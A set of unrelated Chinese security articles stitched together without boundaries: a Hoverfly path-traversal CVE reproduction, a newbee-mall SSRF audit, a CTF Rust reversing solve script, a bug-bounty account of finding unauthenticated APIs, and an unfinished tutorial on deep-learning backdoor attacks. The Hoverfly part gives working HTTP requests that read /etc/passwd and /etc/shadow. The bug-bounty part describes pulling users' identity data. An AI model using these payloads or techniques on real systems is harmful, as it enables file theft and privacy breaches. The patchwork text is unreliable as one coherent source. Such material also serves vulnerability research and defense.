Hoverfly 任意文件读取漏洞(CVE-2024-45388)
漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而，这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径，但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径，从而访问任何任意文件。
环境搭建
我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tagsdocker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
漏洞复现
构造数据包
POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
漏洞分析
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
定义了 SimulationHandler 的路由注册方法，路由的每个 HTTP 方法（如 GET 、PUT 、POST 、DELETE 等）都有一个对应的处理函数 (this.Get 、this.Put 、this.Post 、this.Delete 、this.Options 、this.GetSchema )。这些函数处理实际的业务逻辑。
GET /api/v2/simulation: 处理获取模拟数据。
PUT /api/v2/simulation: 处理更新模拟数据。
POST /api/v2/simulation: 处理创建新的模拟数据。
DELETE /api/v2/simulation: 处理删除模拟数据。
OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。
GET /api/v2/simulation/schema: 获取模拟数据的 schema（结构）。
OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。
POST 和 PUT 方法 仅仅是函数的第三个参数有所不同，所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
第三个参数的不同导致 PUT 方法在获取新的模型内容时，首先删除前一个模拟内容，可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容，无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
这里就是漏洞产生的关键原因，对传入的参数 filePath 没有做具体的校验，可以通过 ../ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
这个 ResolveAndValidatePath 函数用于从一个绝对路径（absBasePath ）解析一个相对路径（relativePath ），并验证这个相对路径是否合法。具体来说，它确保了相对路径不会尝试向上回溯（使用 ".." ），并且解析后的路径仍然在基路径之下。
一个0day的开端-失败的man与nday
最近在审计java的CMS，跟着文章进行nday审计，找准目标newbee-mall Version1.0.0（新蜂商城系统），并跟着网上文章进行审计：
https://blog.csdn.net/m0_46317063/article/details/131538307下载唯一的版本，且源码README中版本也对的上，但没想到nday全部复现失败，但在一番审计后找到了一个新的漏洞点：ssrf，且在前台可以被用户触发。
失败的man与nday：
失败的sql注入漏洞：
（此漏洞原本可以在前台与后台进行sql注入攻击）
分析文章中有两sql注入漏洞，是由于引入mybatis依赖导致，但在我下的版本中根据关键字符${找不到任何的注入点，经过与分析文章对比发现所有注入点全部由${改成了#{由此完成修复。
失败的权限绕过：
（此漏洞原本可以在admin登录后台通过/;/admin/test完成权限绕过）
复现文章写到以request.getRequestURI()获取路径获取路径后再进入if判断：
但我下载的版本进行了修复：将获取前端传输的路径方法改为了：getServletPath()从而完成修复。
两种方法的不同具体分析可以参考如下文章：
https://forum.butian.net/share/3730失败的越权漏洞：
（此漏洞原本可以根据传入的id参数越权修改他人信息。）
定位到具体代码：
此处代码与复现文章一样，都是先创建一个NewBeeMallUserVO对象，再通过是否为空判断信息修改是否成功。
真正修改信息的代码在updateUserInfo方法里面，于是跟进该方法实现处：
发现跟到了接口，于是我们继续跟进，找该接口的实现类：
跟进到如下类，找到具体实现的代码块：
复现文章代码在进入if判断前只有一行代码，并且代码逻辑是从前端传入的id值进行信息修改，但可以看到我下载的代码有两行：
NewBeeMallUserVO userTemp = (NewBeeMallUserVO)httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
首先通过http.Session获取当前用户，再赋给创建的userTemp对象。
MallUser userFromDB =mallUserMapper.selectByPrimaryKey(userTemp.getUserId());
再从userTemp对象中获取id值进行信息修改，而非从前端请求中获取参数id的值，来完成漏洞修复。
0day的发现：
登录后台，点击修改或者添加商品：
随意传入图片后点击保存并抓包。
将POST数据包如上两个参数修改为dnslog地址，放包，在商城前台搜索该商品名称。
点击访问，dns平台出现记录。
漏洞代码分析：
先看看商品信息存储过程：
根据接口定位代码块：
可以发现在接受参数后进行是否为空判断后进入了核心方法updateNewBeeMallGoods，跟进：
跟到接口后再找到接口实现类，最后定位到更新信息代码块。
可以看到，仅仅对传入参数值进行为空判断和相同判断后，便调用set方法进行存储。
接下来再看看商品信息调用代码链。
根据触发漏洞的数据包接口定位代码块：
此处代码根据传入goodsid参数，将商品渲染到前端，也就是搜索商品后，见到商品那刻触发漏洞。
对接受goodsid参数是否<1判断后进入取商品信息代码。
跟进getNewBeeMallGoodsById方法，找到方法接口后再找接口实现类，再找方法：
发现goodsid参数传入selectByPrimaryKey方法。
该方法通过数据访问对象（DAO）goodMapper调用，且在方法最前处由NewBeeMallGoodsMapper对其定义：
全局搜索，找到对应xml文件：
发现通过id参数对数据库操作，取出goodsCoverImg与goodsCarousel参数。
回到最先前的类：
此时goods对象已经获取商品相关参数值。
再进入if判断商品是否上架，上架则进入下一轮代码，将商品信息封装为视图模型，找到NewBeeMallGoodsDetailVO类，发现只接受了goodsCoverImg参数，也就是先前抓包修改处只用修改该参数即可：
最后返回视图名称"mall/detail"，表示渲染商品详情页面：
由于存储时未做任何过滤，进行视图层渲染时直接拿出goodsCoverImg参数放到前端，导致用户一旦访问商品便触发该漏洞。
实战逆向RUST语言程序
实战为主，近日2024年羊城杯出了一道Rust编写的题目，这里将会以此题目为例，演示Rust逆向该如何去做。
题目名称：sedRust_happyVm
题目内容：unhappy rust, happy vm
关于Rust逆向，其实就是看汇编，考验选手的基础逆向能力。在汇编代码面前，任何干扰都会成为摆设。
1、初步分析
64为程序，使用IDA 64打开
通过字符串定位分析点
现在我们知道 inputflag的长度大于 0x15
接下来在汇编层面下一个断点，输入假flag，去观察相关寄存器的值
好像并没有什么内容
继续单步 步过，直到发现下一个要注意的地方！
字符串长度：0x28
我们继续单步步过跟踪
开辟空间的时候，说明快到真正函数处理过程了。
2、分析加密流程
2.1 base64分割模块
这里简单将 3 字节变成4字节的操作，称之为 base64分割模块
这里举个例子
输入的："111"
->二进制字符串 001100010011000100110001
经过base64分割模块
->001100 010011 000100 110001
发现程序执行完后正好是这样的结果
2.2 组合
举个例子：
假如分割之后的4字节为：
0xC、0x13、0x4、0x31
那么组合后的字符串
rax = 0xC
rcx = 0x1300
edx = 0xB1130C18
2.3 VM处理模块
发现func3 非常乱
并且频繁调用sub_40A800()
发现这是一道VM类型的题，那么VM的题加密应该会很简单，基本是异或之类。
在 sub_40A800 里面找到 异或，下断点
这个al每经过两次就是秘钥
解题脚本
int main() {
//提取的密文
unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };
//提取的秘钥
unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };
unsigned char s3[128] = { 0 };
for (int i = 0; i < 43; i++) {
s3[i] = s1[i] ^ s2[i];
}
//还原base64分割模块
char s4[128] = { 0 };
int j = 0;
for (int i = 0; i < 44; i += 4, j += 3) {
s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);
s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);
s4[j+2] = (s3[i+2] << 6) | s3[i + 3];
}
printf("%s", s4);
return 0;
}
小白生于天地之间，岂能郁郁难挖高危？
小白的众测高危：
记先前某次众测，经过资产梳理，发现所有站点全部都挂了WAF，作为一名不钓鱼的挖洞小白，我估计这次又要空军。
小白生于天地之间，岂能郁郁难挖高危？
想要在挂了WAF的站点挖出高危，很难，因为这些站点，你但凡鼠标点快点，检测出了不正确动作都要给你禁IP，至于WAF绕过对于小白更是难搞。其实在众测，大部分漏洞都并非那些什么SQL注入RCE等等，而小白想要出高危，可能也只有寄托希望于未授权。
未授权接口怎么找：
有一种站点，在URL内含有#符号，这种站点的路径接口信息泄露较多，更容易出未授权。
但要注意一点，#后面的东西是不会走服务器的，所以这里如果在findsomething找到了很多东西，拼接的时候带不带#号呢？
这就要区分路由和接口了，如果看着像是路由，在这种原本就有#符号站点，就带上#符号。如果是接口，接口一般是用来进行数据交互的，所以需要走服务器，那就不能拼接#符号。
区分上述后就可以将拿到的东西以POST请求，GET请求都跑一遍，再看是否存在能用的接口，再根据接口返回情况看是否需要添加参数。
这里又是涉及一个很麻烦的点，那就是遇到接口能用，找到参数了，但参数的格式不知道，我这次讲的这个高危就遇到了这种情况，差点错过！
在将现有js里面的接口跑完后还需要注意找js里面的js里面的接口。
这里有两种常见情况：
一、js.map泄露
大多webpack打包的站点会有js.map文件，那js.map文件怎么利用呢？
首先需要下载下来：
如上图，右键检查后，在网络处找.js文件，再点击它，在右方找到js文件的路径，并在结尾加上.map访问即可下载。
之后再由reverse-sourcemap工具还原js.map文件，再由vscode等工具打开，进行接口关键字搜查。
二、大量chunk类型js泄露：
如图：
我们如果在数据包或者js文件看到这种格式内容，就可以考虑进一步利用。
首先将所有内容复制出来，再用notepad++打开：
如图进行替换成符合burp里面chunk文件的格式，再放到burp里面跑一遍，配合HAE插件可以提取更加全面的接口信息。
小白找的高危未授权接口：
我也是通过上述方法找到接口后放到burp里面跑，（跑的时候记得加参数），例如接口中有类似id=，url=，wid=等等最好自己加个参数上去。
但就是因为不知道参数类型，我险些错过这个高危漏洞。
如上图第一个接口，因为参数不正确跑出来跟其它接口一个样，不过还好我留意了一下，并且运气好，随手拼的参数居然正确了，直接下载了敏感文件，造成用户全家姓名，电话，住址，工作公司，身份证等等信息全部泄露。（所以这里注意：对有参数的接口即使一次没跑出信息，也要考虑是否需要对参数进行FUZZ）
并且id参数可遍历，形成大范围用户泄露，高危漏洞到手。
深度学习后门攻击分析与实现（二）
前言
在本系列的第一部分中，我们已经掌握了深度学习中的后门攻击的特点以及基础的攻击方式，现在我们在第二部分中首先来学习深度学习后门攻击在传统网络空间安全中的应用。然后再来分析与实现一些颇具特点的深度学习后门攻击方式。
深度学习与网络空间安全的交叉
深度学习作为人工智能的一部分，在许多领域中取得了显著的进展。然而，随着其广泛应用，深度学习模型的安全性也引起了广泛关注。后门攻击就是其中一种重要的威胁，尤其在网络空间安全领域中。
我们已经知道深度学习后门攻击是一种攻击者通过在训练过程中插入恶意行为，使得模型在特定的触发条件下表现异常的攻击方式。具体来说，攻击者在训练数据集中加入带有后门触发器的样本，使得模型在遇到类似的触发器时，产生攻击者期望的错误输出，而在正常情况下，模型仍能表现出高准确率。这种隐蔽性和针对性使得后门攻击非常难以检测和防御。
现在我们举几个例子介绍后门攻击在网络空间安全中的应用场景。
恶意软件检测：在网络安全中，恶意软件检测是一个重要应用。攻击者可以通过后门攻击技术，使得恶意软件检测模型在检测特定样本时失效。例如，攻击者可以在训练恶意软件检测模型时插入带有后门的恶意样本，使得模型在检测带有特定触发器的恶意软件时无法正确识别，从而达到隐蔽恶意软件的目的。
入侵检测系统：入侵检测系统（Intrusion Detection System, IDS）用于监测网络流量并识别潜在的入侵行为。攻击者可以在训练IDS模型时加入后门触发器，使得模型在特定条件下无法识别攻击流量。例如，攻击者可以在训练数据中插入带有特定模式的正常流量，使得模型在检测到这些模式时误判为正常，从而绕过入侵检测系统。
图像识别安全：在网络空间安全中，图像识别技术被广泛应用于身份验证和监控系统中。攻击者可以利用后门攻击，在训练图像识别模型时插入带有后门的图像样本，使得模型在识别带有特定触发器的图像时出现误判。例如，攻击者可以使得带有特定标志的非法图像被识别为合法，从而绕过安全监控系统。
可见后门攻击与网络空间安全其他领域还是存在不少交叉的。
现在我们继续来分析并实现、复现典型的深度学习后门攻击方法。
BppAttack
理论
这篇工作提出了一种名为BPPATTACK的深度神经网络（DNN）木马攻击方法。该攻击利用了人类视觉系统对图像量化和抖动处理不敏感的特性，通过这些技术生成难以被人类察觉的触发器，进而实现对DNN的高效、隐蔽的木马攻击。
现有的攻击使用可见模式（如图像补丁或图像变换）作为触发器，这些触发器容易受到人类检查的影响。比如下图就可以看到很明显的触发器。
BPPATTACK方案的核心思想是利用人类视觉系统对图像微小变化的不敏感性，通过图像量化和抖动技术生成难以被人类察觉的触发器，实现对深度神经网络（DNN）的高效、隐蔽的木马攻击。
人类视觉系统对颜色深度的变化不是特别敏感，特别是当颜色变化非常微小的时候。BPPATTACK正是基于这一生物学原理，通过调整图像的颜色深度来生成触发器。
图像量化（Bit-Per-Pixel Reduction）：
图像量化是减少图像中每种颜色的比特数，从而减少图像的总颜色数量。BPPATTACK通过降低每个像素的比特深度，使用量化后的最近邻颜色值来替换原始颜色值，实现对图像的微小修改。
抖动技术（Dithering）：
为了消除由于颜色量化引起的不自然或明显的图像伪影，BPPATTACK采用抖动技术，特别是Floyd-Steinberg抖动算法，来平滑颜色过渡，提高图像的自然度和视觉质量。
BPPATTACK旨在生成一种触发器，它对人类观察者来说是几乎不可察觉的，但对机器学习模型来说足够显著，能够触发预设的木马行为。这种平衡是通过精确控制量化和抖动的程度来实现的。
与需要训练额外的图像变换模型或自编码器的攻击不同，BPPATTACK不需要训练任何辅助模型，这简化了攻击流程并提高了效率。
为了提高攻击的成功率和隐蔽性，BPPATTACK采用了对比学习和对抗性训练的结合。通过这种方式，模型被训练来识别和利用量化和抖动生成的触发器，同时忽略其他不重要的特征。
量化过程涉及将原始图像的颜色深度从( m )位减少到( d )位（( d < m )）。对于每个像素值，使用以下公式进行量化：
其中：
( T(x) ) 是量化后的像素值。
( x ) 是原始像素值。
( m ) 是原始颜色深度的位数（每个通道）。
( d ) 是量化后的目标颜色深度的位数。
( \text{round} ) 是四舍五入到最近的整数。
Floyd-Steinberg Dithering:抖动算法用于改善量化后的图像质量，通过将量化误差扩散到邻近像素。对于每个像素，计算量化误差并更新周围像素：
然后，根据Floyd-Steinberg分布，更新当前像素和周围像素：
BPPATTACK方案的关键在于通过量化和抖动技术生成的微小变化对人类视觉系统是不可见的，但对DNN模型是可区分的，从而实现隐蔽的木马攻击。
实现
我们来看看该方法得到的部分中毒样本
分析关键函数
Bpp 类：继承自 BadNet，添加了命令行参数处理和数据集准备功能，用于特定处理阶段。
set_bd_args 方法：配置与攻击设置相关的命令行参数。
stage1_non_training_data_prepare 方法：准备和变换数据集，设置 DataLoader，并存储阶段 1 的结果。
1. 类定义与初始化
类声明：
class Bpp(BadNet): Bpp 是 BadNet 的一个子类。
构造函数 (__init__ 方法)：
def __init__(self):: 这是 Bpp 的初始化方法。
super(Bpp, self).__init__(): 调用父类 BadNet 的构造函数，以确保执行父类中的初始化逻辑。
2. 设置命令行参数
set_bd_args 方法：
def set_bd_args(cls, parser: argparse.ArgumentParser) -> argparse.ArgumentParser:: 这个类方法用于使用 argparse 库设置命令行参数。
parser = add_common_attack_args(parser): 调用 add_common_attack_args 函数，添加与攻击相关的常见参数。
parser.add_argument(...): 添加各种命令行参数：
--bd_yaml_path: 指定一个 YAML 文件的路径，用于提供额外的默认属性。
--neg_ratio, --random_rotation, --random_crop, --squeeze_num, --dithering: 各种与攻击配置相关的参数，如负比率、旋转、裁剪、压缩和抖动。
返回值：
返回更新后的 parser 对象，其中包含所有添加的参数。
3. 准备第一阶段的数据
stage1_non_training_data_prepare 方法：
def stage1_non_training_data_prepare(self):: 这个方法用于准备第一阶段的数据。
日志记录与断言：
logging.info("stage1 start"): 记录阶段 1 的开始。
assert "args" in self.__dict__: 确保 args 属性存在于实例中。
数据集准备：
train_dataset_without_transform, train_img_transform, train_label_transform, 等变量：这些变量被赋值为调用 self.benign_prepare() 的结果，该方法用于准备数据集和变换。
clean_train_dataset_with_transform.wrap_img_transform = test_img_transform: 将训练数据集的图像变换更新为与测试数据集的图像变换一致。
DataLoader 初始化：
clean_train_dataloader: 一个用于清洁训练数据集的 DataLoader，应用了变换。
clean_train_dataloader_shuffled: 一个用于清洁训练数据集的 DataLoader，但数据是打乱的。
clean_test_dataloader: 一个用于清洁测试数据集的 DataLoader。
存储结果：
self.stage1_results: 存储各种数据集和 DataLoader 以备阶段 1 进一步使用。
这段代码是一个神经网络训练和评估的流程，具体针对的是后门攻击（backdoor attack）的研究
初始化：
代码开始时，记录训练阶段2的开始时间。
通过断言检查 self 对象中是否包含 args 属性，获取训练参数。
设备选择：
根据是否有可用的 GPU 来设置计算设备。如果 args.device 包含多个设备（例如 "cuda:2,3,7"），则使用 torch.nn.DataParallel 来并行计算。
模型生成：
调用 generate_cls_model 函数生成分类模型 netC，并将其移动到指定的设备上。
优化器和学习率调度器：
调用 argparser_opt_scheduler 函数获取优化器和学习率调度器。
数据预处理：
过滤出可逆的图像变换（如标准化、缩放、转换为张量）。
创建干净和背门攻击的数据集，分别保存处理后的数据集。
训练数据处理：
遍历干净训练数据，通过反归一化得到原始图像。
根据攻击标签转换类型（"all2one" 或 "all2all"）来生成背门攻击数据。
处理数据集中的每一批次，并将干净样本和背门样本保存到数据集中。
测试数据处理：
对测试数据进行类似的预处理和保存操作，包括处理干净测试数据和背门测试数据。
评估背门效果，并根据攻击标签转换类型生成相应的标签和数据。
负样本生成：
如果指定了负样本比率（neg_ratio），生成负样本数据。这些负样本用于评估背门攻击的效果。
将负样本与其他数据合并，并保存处理后的数据。
模型训练和评估：
对每个 epoch 执行训练和评估步骤。记录训练损失、准确率、背门攻击成功率等指标。
将每个 epoch 的训练和测试结果保存到列表中，并绘制训练和测试指标的图表。
模型保存和结果输出：
在训练周期结束时保存模型状态、学习率调度器状态、优化器状态等。
将训练和测试结果保存到 CSV 文件中，并生成最终的攻击结果数据。
完成：
输出“done”表示训练和保存过程已完成。
每个步骤都有明确的目标，从数据处理到模型训练，再到最终结果保存，涵盖了整个训练和评估的过程。
这段代码包含了两个主要的函数：train_step 和 eval_step。它们分别用于训练和评估模型
train_step 函数
功能: 执行一个训练步骤，处理数据、计算损失、更新模型权重，并计算各种指标。
初始化:
记录日志，设置模型为训练模式。
获取训练参数，包括背门比率（rate_bd）和压缩数（squeeze_num）。
初始化交叉熵损失函数（criterion_CE）和数据转换对象（transforms）。
初始化一些用于记录的列表。
数据处理:
对每个批次的数据进行处理：
清空优化器的梯度。
将输入数据和目标标签移动到指定设备（GPU/CPU）。
计算背门样本和负样本的数量。
根据是否存在背门样本和负样本，生成相应的数据：
背门样本: 对背门样本进行处理（如抖动处理）并生成标签。
负样本: 生成负样本数据并合并到训练数据中。
处理数据集中的每一批次，将背门样本和负样本合并到一起。
应用数据转换函数。
模型训练:
计算模型的预测结果，并记录计算时间。
计算损失，进行反向传播，更新优化器。
记录每个批次的损失、预测结果、标签等信息。
计算指标:
计算每个 epoch 的平均损失和准确率。
根据背门样本、负样本和干净样本的指标，计算背门攻击成功率（ASR）、干净样本准确率等。
返回:
返回训练过程中的各种指标：平均损失、混合准确率、干净样本准确率、背门攻击成功率、背门样本恢复准确率、交叉样本准确率。
eval_step 函数
功能: 执行模型评估，计算不同数据集（干净数据集、背门数据集、交叉数据集等）的损失和准确率。
清洁测试数据集评估:
使用 given_dataloader_test 函数评估干净测试数据集，获取损失和准确率。
背门数据集评估:
使用 given_dataloader_test 函数评估背门测试数据集，获取损失和准确率。
背门样本恢复（RA）数据集评估:
对背门样本恢复数据集进行转换和评估，获取损失和准确率。
交叉数据集评估:
使用 given_dataloader_test 函数评估交叉测试数据集，获取损失和准确率。
返回:
返回不同数据集的损失和准确率：干净测试集损失和准确率、背门测试集损失和准确率、交叉测试集损失和准确率、恢复测试集损失和准确率。
这些函数一起构成了一个完整的训练和评估流程，涵盖了数据处理、模型训练、指标计算和评估等多个方面。
开始进行后门注入
攻击配置如下所示
训练期间的部分截图如下
也可以查看acc的变化情况
可以看到主要关注的指标都在稳步上升
以35epoch为例，此时的后门攻击成功率达到了0.98，而深度学习模型执行正常任务的准确率达到了0.91
FTrojan
理论
FTrojan攻击的核心思想是在频率域中注入触发器。这种方法利用了两个关键直觉：
在频率域中的小扰动对应于整个图像中分散的小像素级扰动，这使得图像在视觉上与原始图像难以区分。
卷积神经网络（CNN）能够学习并记住频率域中的特征，即使输入的是空间域像素。
FTrojan攻击包括以下步骤：
将图像从RGB色彩空间转换到YUV色彩空间，因为人的视觉系统对YUV中的UV（色度）分量不那么敏感。
对图像的UV分量进行离散余弦变换（DCT），将其从空间域转换到频率域。
在频率域中生成触发器，选择固定大小的频率带作为触发器。
应用逆DCT将图像从频率域转换回空间域。
最后，将图像从YUV色彩空间转换回RGB色彩空间。
我们来分析关键细节
FTrojan攻击方法的核心在于利用频率域的特性来注入难以被检测到的后门触发器。
颜色空间转换（RGB到YUV）：
使用线性变换将RGB图像转换为YUV空间。YUV空间将颜色图像分解为亮度（Y）和色度（U, V）分量。人的视觉系统对色度分量的变化不如亮度分量敏感，因此在色度分量中注入触发器对视觉的影响较小。
离散余弦变换（DCT）：
对YUV空间中的U和V分量应用DCT，将图像从空间域转换到频率域。DCT将图像表示为不同频率的余弦函数的集合，能量集中在低频部分，高频部分则包含图像的边缘和细节信息。
DCT公式如下：
其中，(X(u, v))是DCT系数，(x(x, y))是图像在空间域的像素值，(M)和(N)是图像的宽度和高度，(u)和(v)是频率索引。
触发器生成：
在频率域中选择特定的频率带作为触发器。触发器的频率和幅度是两个关键参数：
触发器频率：选择中频和高频带的组合，以平衡人类视觉感知的敏感性和触发器的鲁棒性。
触发器幅度：选择适中的幅度以确保触发器对CNN是可学习的，同时对人类视觉系统是不可见的。
逆离散余弦变换（Inverse DCT）：
使用逆DCT将修改后的频率域图像转换回空间域，得到注入了后门触发器的图像。
逆DCT公式如下：
颜色空间转换（YUV回到RGB）：
最后，将修改后的YUV图像转换回RGB空间，因为大多数CNN模型是在RGB空间上训练的。
完整的攻击流程如下图所示
下图是本方法生成的中毒样本与触发器，可以看到是具有一定隐蔽性的
下图是通过 FTrojan 攻击来得到的中毒图像。混频将触发器混合在中频和高频成分中。我们可以观察到，当触发器存在于具有适中幅度的高频和中频成分中时，中毒图像在视觉上很难被检测到。
复现
攻击类
这段代码定义了一个 Ftrojann 类，继承自 BadNet。下面是代码的功能解释：
set_bd_args 方法:
这个方法用于设置命令行参数。它接受一个 argparse.ArgumentParser 对象作为输入，并返回一个更新后的 ArgumentParser 对象。
add_common_attack_args(parser) 是一个函数调用，可能会向 parser 中添加一些通用的攻击相关参数。
添加了多个特定参数：
--channel_list：接收一个整数列表，代表频道列表。
--magnitude：接收一个浮点数，表示强度。
--YUV：接收一个布尔值，表示是否使用 YUV 格式。
--window_size：接收一个整数，表示窗口大小。
--pos_list：接收一个整数列表，表示位置列表。
--bd_yaml_path：接收一个字符串，指定 YAML 文件的路径，该文件提供附加的默认属性。默认路径是 ./config/attack/ftrojann/default.yaml。
add_bd_yaml_to_args 方法:
这个方法用于将 YAML 文件中的默认属性添加到 args 参数中，并进行一些额外的处理。
从 args.bd_yaml_path 指定的路径读取 YAML 文件内容，解析为字典 mix_defaults。
将 args 对象中非 None 的参数更新到 mix_defaults 中。
将 args 对象的 __dict__ 属性（存储了所有参数）更新为合并后的字典。
检查 pos_list 的长度是否为偶数，如果不是，抛出 ValueError。
将 pos_list 转换为一对一对的元组列表，例如，将 [x1, y1, x2, y2] 转换为 [(x1, y1), (x2, y2)]。
着重查看对于数据集的处理代码
这个类的主要功能是处理带有后门攻击的图像数据集，支持图像和标签的预处理、状态恢复和复制。
这段代码定义了一个名为 prepro_cls_DatasetBD_v2 的 PyTorch 数据集类。这个类扩展了 torch.utils.data.Dataset，用于处理带有后门攻击（backdoor attack）的数据集
__init__ 方法:
参数:
full_dataset_without_transform: 原始数据集，没有应用任何变换。
poison_indicator: 一个可选的序列，表示哪些图像需要应用后门变换（使用 one-hot 编码）。默认为 None，如果没有提供，则初始化为全零的数组。
bd_image_pre_transform: 应用在图像上的后门变换函数。
bd_label_pre_transform: 应用在标签上的后门变换函数。
save_folder_path: 保存后门图像的文件夹路径。
mode: 当前模式，默认为 'attack'。
操作:
初始化数据集和相关属性。
检查 poison_indicator 的长度是否与数据集长度匹配。
如果 poison_indicator 中的值大于等于 1，则调用 prepro_backdoor() 方法进行后门数据预处理。
设置其他属性，如 getitem_all 和 getitem_all_switch，用于控制数据集的取值方式。
prepro_backdoor 方法:
对所有需要后门变换的样本进行处理。
遍历数据集的所有索引，如果 poison_indicator 表示该样本需要变换，则应用图像和标签的变换，并调用 set_one_bd_sample() 方法保存变换后的样本。
set_one_bd_sample 方法:
将图像和标签变换后的样本保存到 bd_data_container 中。
确保图像被转换为 PIL 图像格式（如果不是的话）。
更新 poison_indicator，标记该样本为后门样本。
__len__ 方法:
返回数据集中样本的总数。
__getitem__ 方法:
根据索引获取样本。
如果样本是干净的（poison_indicator 为 0），则从原始数据集中获取图像和标签。
如果样本是后门的（poison_indicator 为 1），则从 bd_data_container 中获取图像和标签。
根据 getitem_all 和 getitem_all_switch 的设置，返回不同格式的数据。
subset 方法:
根据给定的索引列表更新 original_index_array，从而选择数据集的子集。
retrieve_state 方法:
返回当前对象的状态，包括 bd_data_container、getitem_all、getitem_all_switch、original_index_array、poison_indicator 和 save_folder_path。
copy 方法:
创建一个 prepro_cls_DatasetBD_v2 的副本。
深度复制当前对象的状态，并设置到新副本中。
set_state 方法:
根据提供的状态文件恢复对象的状态。
包括恢复 bd_data_container 和其他属性。
在我们的实现中得到的部分中毒样本如下所示
注入后门
攻击配置
后门注入期间的部分截图如下所示
以第38个epoch为例，此时的后门攻击成功率达到了接近100%，而正常任务的准确率达到了0.91
CTRL
理论
之前我们提到的后门攻击都是通过监督学习的方式实现的，这一节我们来分析自监督学习后门攻击。
自监督学习（SSL）是一种无需标签即可学习复杂数据高质量表示的机器学习范式。SSL在对抗性鲁棒性方面相较于监督学习有优势，但是否对其他类型的攻击（如后门攻击）同样具有鲁棒性尚未明确。
CTRL攻击通过在训练数据中掺入少量（≤1%）的投毒样本，这些样本对数据增强操作具有抗性，使得在推理阶段，任何含有特定触发器的输入都会被错误地分类到攻击者预定的类别。
触发器 ( r ) 是一种在输入数据的频谱空间中的扰动，它对数据增强（如随机裁剪）不敏感。触发器的设计使其在视觉上几乎不可察觉，但在频域中具有特定的模式。
假设攻击者可以访问到一小部分目标类别的输入样本集 ( \tilde{D} )。
通过在这些样本上添加触发器 ( r ) 来生成投毒数据 ( D^* )。
嵌入：将触发器 ( r ) 嵌入到输入 ( x ) 中，形成触发输入 ( x^* = x \oplus r )。这里 ( \oplus ) 表示触发器嵌入操作。
激活：在推理时，攻击者可以调整触发器的幅度来激活后门，而不影响模型对清洁数据的分类性能。
SSL中的对比损失函数旨在最小化正样本对（相同输入的不同增强视图）之间的距离，同时最大化负样本对（不同输入）之间的距离。对比损失可以表示为：
其中，( f ) 是编码器，( x_i ) 和 ( x_j ) 是正样本对，( y_{ij} ) 是指示器（如果 ( x_i ) 和 ( x_j ) 是正样本对，则为1，否则为0），( \tau ) 是温度参数。
CTRL攻击利用了SSL的表示不变性属性，即不同增强视图的同一输入应具有相似的表示。数学上，这可以表示为：
这里，( x^* ) 是触发输入，( x^+ ) 是增强后的正样本，( r ) 是触发器，( \alpha ) 是混合权重。
通过调整触发器的幅度，攻击者可以控制攻击的效果。
完整的攻击流程如下图所示
下图演示了触发器的生成流程
复现
分析关键代码
